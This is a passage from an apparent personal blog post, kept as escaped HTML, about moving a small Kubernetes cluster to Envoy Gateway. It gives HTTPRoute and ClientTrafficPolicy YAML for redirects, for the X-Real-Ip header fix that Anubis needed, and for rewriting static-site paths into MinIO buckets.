&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #9399b2;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;eg&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;namespace&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;envoy-gateway-system&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;sectionName&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;https-nossa-ee&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;rules&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;  &lt;span style=&quot;color: #9399b2;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;backendRefs&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;    &lt;span style=&quot;color: #9399b2;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;nossa&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;port&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;80&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(Actually, I use &lt;a href=&quot;https://timoni.sh/&quot;&gt;Timoni&lt;/a&gt; to make these things out of CUE because it’s way less painful and means I can’t accidentally e.g. define that port number incorrectly, relative to the port the &lt;code&gt;Service&lt;/code&gt; sits on.)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;www.&lt;/code&gt; redirects look like this:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-yaml&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;---&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;apiVersion&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;gateway.networking.k8s.io/v1&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;kind&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;HTTPRoute&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;metadata&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;nossa-www-redirect&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;namespace&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;nossa&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;spec&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;hostnames&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #9399b2;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;www.nossa.ee&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;parentRefs&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #9399b2;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;eg&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;namespace&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;envoy-gateway-system&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;sectionName&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;https-www-nossa-ee&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;rules&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #9399b2;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;filters&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    &lt;span style=&quot;color: #9399b2;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;requestRedirect&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;hostname&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;nossa.ee&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;statusCode&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;301&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;RequestRedirect&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It was a lot less painful than I’d feared, and I’m a lot happier doing this than Istio (seemed like SO much) or what I was going to fall back to, HAProxy Ingress (prefer to get onto Gateway).&lt;/p&gt;
&lt;h3&gt;But!&lt;/h3&gt;
&lt;p&gt;I tripped over two things.&lt;/p&gt;
&lt;p&gt;First, &lt;a href=&quot;https://nossa.ee/&quot;&gt;nóssa&lt;/a&gt; is protected by Anubis. &lt;a href=&quot;https://enbi.hrzn.ee&quot;&gt;enbi&lt;/a&gt; needs to access it via git+https to build things. I also want to pull from/push to it from &lt;code&gt;kala&lt;/code&gt; (the cluster node) itself. OOTB this was newly failing: Anubis was giving 500s, matching this issue: &lt;a href=&quot;https://github.com/TecharoHQ/anubis/issues/1270&quot;&gt;X-Forwarded-For &amp; X-Real-Ip handling doesn’t properly respect private IPs #1270&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;X-Forwarded-For&lt;/code&gt; and &lt;code&gt;X-Real-Ip&lt;/code&gt; are a mess, and I dare you to read Envoy’s &lt;a href=&quot;https://www.envoyproxy.io/docs/envoy/latest/configuration/http/http_conn_man/headers&quot;&gt;HTTP header manipulation&lt;/a&gt; documentation and come away feeling pure of soul.&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-yaml&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;---&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;apiVersion&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;gateway.envoyproxy.io/v1alpha1&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;kind&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;ClientTrafficPolicy&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;metadata&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;client-headers&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;namespace&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;envoy-gateway-system&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;spec&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;targetRefs&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #9399b2;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;group&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;gateway.networking.k8s.io&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;kind&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;Gateway&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;eg&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;headers&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;earlyRequestHeaders&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;      &lt;span style=&quot;color: #9399b2;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;X-Real-Ip&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;%DOWNSTREAM_REMOTE_ADDRESS_WITHOUT_PORT%&amp;quot;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;%DOWNSTREAM_REMOTE_ADDRESS_WITHOUT_PORT%&lt;/code&gt; is documented under the &lt;a href=&quot;https://www.envoyproxy.io/docs/envoy/latest/configuration/advanced/substitution_formatter.html&quot;&gt;“Advanced” part of Envoy’s configuration reference&lt;/a&gt;, with a delightful note that it might be inferred from XFF anyway. &lt;em&gt;Seems&lt;/em&gt; not to, though: I get external IPs logged by Anubis for &lt;code&gt;x-real-ip&lt;/code&gt; when I make external requests, and cluster-internal ones from &lt;code&gt;kala&lt;/code&gt; or from a different pod. Setting XFF to something fake doesn’t show up at all when external, and while it shows up in Anubis’s logs under &lt;code&gt;x-forwarded-for&lt;/code&gt; when setting it on internal requests, &lt;code&gt;x-real-ip&lt;/code&gt; is unaffected.&lt;/p&gt;
&lt;p&gt;Second, I use MinIO for the “static hosting” of a bunch of sites; it’s convenient, this blog engine uses its API for asset admin, Annie can push her sites with it, etc. (I do want to &lt;a href=&quot;https://kivikakk.ee/2026/01/18/cluster-overview#minio&quot;&gt;get off it&lt;/a&gt; since it’s &lt;a href=&quot;https://rmoff.net/2026/01/14/alternatives-to-minio-for-single-node-local-s3/&quot;&gt;undergoing AI enshittification&lt;/a&gt;.)&lt;/p&gt;
&lt;p&gt;I have one MinIO instance with buckets served out of subdirectories; e.g. &lt;a href=&quot;https://s3.hrzn.ee/comrak.ee/index.html&quot;&gt;https://s3.hrzn.ee/comrak.ee/index.html&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I used to use &lt;code&gt;nginx.ingress.kubernetes.io/rewrite-target: /comrak.ee$uri&lt;/code&gt; on the &lt;code&gt;comrak.ee&lt;/code&gt; ingress with a backend of the &lt;code&gt;https-minio&lt;/code&gt; service, so a request for &lt;code&gt;https://comrak.ee/index.html&lt;/code&gt; would translate internally to &lt;code&gt;/comrak.ee/index.html&lt;/code&gt;. (And add a rewrite configuration snippet to handle &lt;code&gt;/&lt;/code&gt; to &lt;code&gt;/index.html&lt;/code&gt; explicitly.)&lt;/p&gt;
&lt;p&gt;Porting this naïvely did not work: I don’t know if it’s a Gateway spec thing or an Envoy Gateway thing, but a filter with &lt;code&gt;replacePrefixMatch: /comrak.ee/&lt;/code&gt; when matching a &lt;code&gt;PathPrefix&lt;/code&gt; of &lt;code&gt;/&lt;/code&gt; would nonetheless strip the trailing &lt;code&gt;/&lt;/code&gt;; requests for &lt;code&gt;https://comrak.ee/index.html&lt;/code&gt; would get rewritten to request &lt;code&gt;/comrak.eeindex.html&lt;/code&gt;. Specifying an empty string for the &lt;code&gt;PathPrefix&lt;/code&gt; made no difference. Adding a second &lt;code&gt;/&lt;/code&gt; at the end of the replacement worked. This feels somehow demeaning, but what can you do:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-yaml&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;---&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;apiVersion&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;gateway.networking.k8s.io/v1&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;kind&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;HTTPRoute&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;metadata&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;annotations&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;external-dns.alpha.kubernetes.io/hostname&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;comrak.ee.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;external-dns.alpha.kubernetes.io/ttl&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;24h&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;static-comrak.ee&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;namespace&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;minio-kala&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;spec&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;hostnames&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #9399b2;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;comrak.ee&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;parentRefs&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #9399b2;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;eg&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;namespace&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;envoy-gateway-system&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;sectionName&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;https-comrak-ee&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;rules&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;  &lt;span style=&quot;color: #9399b2;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;backendRefs&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;    &lt;span style=&quot;color: #9399b2;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;minio&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;port&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;80&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;filters&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;    &lt;span style=&quot;color: #9399b2;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;URLRewrite&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;urlRewrite&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;          &lt;span style=&quot;color: #cdd6f4;&quot;&gt;replaceFullPath&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;/comrak.ee/index.html&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;          &lt;span style=&quot;color: #cdd6f4;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;ReplaceFullPath&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;matches&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;    &lt;span style=&quot;color: #9399b2;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;Exact&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;/&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;  &lt;span style=&quot;color: #9399b2;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;backendRefs&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;    &lt;span style=&quot;color: #9399b2;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;minio&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;port&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;80&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;filters&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;    &lt;span style=&quot;color: #9399b2;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;URLRewrite&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;      &lt;span style=&quot;color: #cdd6f4;&quot;&gt;urlRewrite&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;        &lt;span style=&quot;color: #cdd6f4;&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt;
